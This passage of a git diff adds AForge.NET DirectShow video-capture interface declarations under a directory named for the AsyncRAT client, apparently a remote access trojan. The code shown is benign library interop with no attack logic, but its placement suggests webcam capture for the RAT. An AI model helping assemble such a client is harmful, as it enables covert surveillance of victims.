Variable that receives the size of the configuration structure in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNumberOfCapabilities( out int count, out int size ); + + /// + /// Retrieve a set of format capabilities. + /// + /// + /// Specifies the format capability to retrieve, indexed from zero. + /// Retrieved media type. + /// Byte array, which receives information about capabilities. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetStreamCaps( + [In] int index, + [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType, + [In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps + ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs new file mode 100644 index 0000000..cb57dfe --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs @@ -0,0 +1,112 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface controls certain video capture operations such as enumerating available + /// frame rates and image orientation. + /// + /// + [ComImport, + Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMVideoControl + { + /// + /// Retrieves the capabilities of the underlying hardware. + /// + /// + /// Pin to query capabilities from. + /// Get capabilities of the specified pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags ); + + /// + /// Sets the video control mode of operation. + /// + /// + /// The pin to set the video control mode on. + /// Value specifying a combination of the flags to set the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode ); + + /// + /// Retrieves the video control mode of operation. + /// + /// + /// The pin to retrieve the video control mode from. + /// Gets combination of flags, which specify the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode ); + + /// + /// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units. + /// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested + /// because of bandwidth availability. This is only available during video streaming. + /// + /// + /// The pin to retrieve the frame rate from. + /// Gets frame rate in frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate ); + + /// + /// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections + /// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth + /// availability. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out long maxAvailableFrameRate ); + + /// + /// Retrieves a list of available frame rates. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Number of elements in the list of frame rates. + /// Array of frame rates in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFrameRateList( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out int listSize, + [Out] out IntPtr frameRate ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs new file mode 100644 index 0000000..3c03a31 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs @@ -0,0 +1,161 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IBaseFilter interface provides methods for controlling a filter. + /// All DirectShow filters expose this interface + /// + /// + [ComImport, + Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IBaseFilter + { + // --- IPersist Methods + + /// + /// Returns the class identifier (CLSID) for the component object. + /// + /// + /// Points to the location of the CLSID on return. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetClassID( [Out] out Guid ClassID ); + + // --- IMediaFilter Methods + + /// + /// Stops the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Pauses the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Runs the filter. + /// + /// + /// Reference time corresponding to stream time 0. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( long start ); + + /// + /// Retrieves the state of the filter (running, stopped, or paused). + /// + /// + /// Time-out interval, in milliseconds. + /// Pointer to a variable that receives filter's state. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int milliSecsTimeout, [Out] out int filterState ); + + /// + /// Sets the reference clock for the filter or the filter graph. + /// + /// + /// Pointer to the clock's IReferenceClock interface, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetSyncSource( [In] IntPtr clock ); + + /// + /// Retrieves the current reference clock. + /// + /// + /// Address of a variable that receives a pointer to the clock's IReferenceClock interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetSyncSource( [Out] out IntPtr clock ); + + // --- IBaseFilter Methods + + /// + /// Enumerates the pins on this filter. + /// + /// + /// Address of a variable that receives a pointer to the IEnumPins interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumPins( [Out] out IEnumPins enumPins ); + + /// + /// Retrieves the pin with the specified identifier. + /// + /// + /// Pointer to a constant wide-character string that identifies the pin. + /// Address of a variable that receives a pointer to the pin's IPin interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin ); + + /// + /// Retrieves information about the filter. + /// + /// + /// Pointer to FilterInfo structure. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryFilterInfo( [Out] out FilterInfo filterInfo ); + + /// + /// Notifies the filter that it has joined or left the filter graph. + /// + /// + /// Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL + /// if the filter is leaving the graph. + /// String that specifies a name for the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Retrieves a string containing vendor information. + /// + /// + /// Receives a string containing the vendor information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs new file mode 100644 index 0000000..4ef802a --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs @@ -0,0 +1,192 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface builds capture graphs and other custom filter graphs. + /// + /// + [ComImport, + Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICaptureGraphBuilder2 + { + /// + /// Specify filter graph for the capture graph builder to use. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFiltergraph( [In] IGraphBuilder graphBuilder ); + + /// + /// Retrieve the filter graph that the builder is using. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFiltergraph( [Out] out IGraphBuilder graphBuilder ); + + /// + /// Create file writing section of the filter graph. + /// + /// + /// GUID that represents either the media subtype of the output or the + /// class identifier (CLSID) of a multiplexer filter or file writer filter. + /// Output file name. + /// Receives the multiplexer's interface. + /// Receives the file writer's IFileSinkFilter interface. Can be NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOutputFileName( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [Out] out IBaseFilter baseFilter, + [Out] out IntPtr fileSinkFilter + ); + + /// + /// Searche the graph for a specified interface, starting from a specified filter. + /// + /// + /// GUID that specifies the search criteria. + /// GUID that specifies the major media type of an output pin, or NULL. + /// interface of the filter. The method begins searching from this filter. + /// Interface identifier (IID) of the interface to locate. + /// Receives found interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindInterface( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In] IBaseFilter baseFilter, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID , + [Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface + ); + + /// + /// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type of the output pin. + /// Starting filter for the connection. + /// Interface of an intermediate filter, such as a compression filter. Can be NULL. + /// Sink filter, such as a renderer or mux filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] IBaseFilter compressor, + [In] IBaseFilter renderer + ); + + /// + /// Set the start and stop times for one or more streams of captured data. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type. + /// interface that specifies which filter to control. + /// Start time. + /// Stop time. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STARTED event notification. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STOPPED event notification. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ControlStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter, + [In] long start, + [In] long stop, + [In] short startCookie, + [In] short stopCookie + ); + + /// + /// Preallocate a capture file to a specified size. + /// + /// + /// File name to create or resize. + /// Size of the file to allocate, in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AllocCapFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In] long size + ); + + /// + /// Copy the valid media data from a capture file. + /// + /// + /// Old file name. + /// New file name. + /// Boolean value that specifies whether pressing the ESC key cancels the copy operation. + /// IAMCopyCaptureFileProgress interface to display progress information, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CopyCaptureFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string newFileName, + [In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort, + [In] IntPtr callback + ); + + /// + /// + /// + /// + /// Interface on a filter, or to an interface on a pin. + /// Pin direction (input or output). + /// Pin category. + /// Media type. + /// Boolean value that specifies whether the pin must be unconnected. + /// Zero-based index of the pin to retrieve, from the set of matching pins. + /// Interface of the matching pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] PinDirection pinDirection, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Bool )] bool unconnected, + [In] int index, + [Out, MarshalAs( UnmanagedType.Interface )] out IPin pin + ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs new file mode 100644 index 0000000..81e4b59 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs @@ -0,0 +1,37 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// The ICreateDevEnum interface creates an enumerator for devices within a particular category, + /// such as video capture devices, audio capture devices, video compressors, and so forth. + /// + /// + [ComImport, + Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICreateDevEnum + { + /// + /// Creates a class enumerator for a specified device category. + /// + /// + /// Specifies the class identifier of the device category. + /// Address of a variable that receives an IEnumMoniker interface pointer + /// Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs new file mode 100644 index 0000000..a4c8eb9 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs @@ -0,0 +1,71 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007-2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is used by applications or other filters to determine + /// what filters exist in the filter graph. + /// + /// + [ComImport, + Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumFilters + { + /// + /// Retrieves the specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to retrieve. + /// Array in which to place interfaces. + /// Actual number of filters placed in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cFilters, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters, + [Out] out int filtersFetched ); + + /// + /// Skips a specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cFilters ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// + /// Return's HRESULT error code. + /// + /// + [PreserveSig] + int Clone( [Out] out IEnumFilters enumFilters ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs new file mode 100644 index 0000000..41e1f74 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs @@ -0,0 +1,68 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// Enumerates pins on a filter. + /// + /// + [ComImport, + Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumPins + { + /// + /// Retrieves a specified number of pins. + /// + /// + /// Number of pins to retrieve. + /// Array of size cPins that is filled with IPin pointers. + /// Receives the number of pins retrieved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cPins, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins, + [Out] out int pinsFetched ); + + /// + /// Skips a specified number of pins in the enumeration sequence. + /// + /// + /// Number of pins to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cPins ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Clone( [Out] out IEnumPins enumPins ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs new file mode 100644 index 0000000..7d21c5f --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs @@ -0,0 +1,113 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for building a filter graph. An application can use it to add filters to + /// the graph, connect or disconnect filters, remove filters, and perform other basic operations. + /// + /// + [ComImport, + Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IFilterGraph + { + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IntPtr enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs new file mode 100644 index 0000000..b4dbf4c --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs @@ -0,0 +1,257 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// This interface extends the and + /// interfaces, which contain methods for building filter graphs. + /// + /// + [ComImport, + Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface IFilterGraph2 + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList ); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + + + // --- IFilterGraph2 methods + + /// + /// + /// + /// + /// Moniker interface. + /// Bind context interface. + /// Name for the filter. + /// Receives source filter's IBaseFilter interface. + /// The caller must release the interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilterForMoniker( + [In] IMoniker moniker, + [In] IBindCtx bindContext, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter + ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin, + /// using a specified media type. + /// + /// + /// Pin to disconnect and reconnect. + /// Media type to reconnect with. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReconnectEx( + [In] IPin pin, + [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType + ); + + /// + /// Render an output pin, with an option to use existing renderers only. + /// + /// + /// Interface of the output pin. + /// Flag that specifies how to render the pin. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderEx( + [In] IPin outputPin, + [In] int flags, + [In] IntPtr context + ); + + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs new file mode 100644 index 0000000..8f3fc4e --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs @@ -0,0 +1,198 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface provides methods that enable an application to build a filter graph. + /// + /// + [ComImport, + Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IGraphBuilder + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// 